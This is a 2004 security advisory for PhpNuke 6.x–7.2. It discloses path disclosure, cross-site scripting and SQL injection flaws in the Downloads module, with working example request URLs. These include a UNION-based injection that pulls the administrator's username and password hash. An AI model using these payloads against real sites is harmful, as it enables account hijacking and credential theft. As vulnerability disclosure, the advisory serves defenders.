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[waraxe-2004-SA#027] - Once again - critical vulnerabilities in PhpNuke 6.x - 7.2





Author: Janek Vind "waraxe"
Date: 05. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=27


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A. Full path disclosure:

A1 - unsanitaized user submitted variable "show" can triger standard php error messages,
revealing full path to script - information, needed for potential hacker.

Example: make http request like this:

http://localhost/nuke72/modules.php?name=Downloads&d_op=viewdownload&cid=2&show=foobar

and error message appears:

Warning: Division by zero in D:apache_wwwroot
uke72modulesDownloadsindex.php on line 797


B. Cross-site scripting aka XSS:

XSS can be used for cookie stealing, and because in PhpNuke authentication-related information
is stored in cookies, account's hijacking and ID spoof can happen.

B1 - XSS through unsanitaized user submitted variable "ttitle":

http://localhost/nuke72/modules.php?name=Downloads&d_op=ratedownload&lid=0&ttitle=[xss code here]
http://localhost/nuke72/modules.php?name=Downloads&d_op=ratedownload&lid=0&ttitle=<body onload=document.title=1337>


B2 - XSS through unsanitaized user submitted variable "sid":

http://localhost/nuke72/modules.php?name=Downloads&d_op=viewsdownload&sid=[xss code here]


C. Sql injection:

C1 - noncritical sql injection through unsanitaized user submitted variable "orderby":

http://localhost/nuke72/modules.php?name=Downloads&d_op=viewdownload&cid=2&orderby=foobar


C3 - critical sql injection through unsanitaized user submitted variable "sid":

Let's look at original code from "nuke72/modules/Downloads/index.php" line 901:


$result=$db->sql_query("
SELECT lid, url, title, description, date, hits, downloadratingsummary, totalvotes,
totalcomments, filesize, version, homepage
FROM ".$prefix."_downloads_downloads
WHERE sid=$sid
order by $orderby
limit $min,$perpage
");

Oops, "$sid" variable is unquoted in sql query. Scary...
What, if we request something like:

http://localhost/nuke72/modules.php?name=Downloads&d_op=viewsdownload&sid=-1/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*

Cool - admin's username and password's md5 hash in plaintext :)

Have a nice day!



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (10147 reads)

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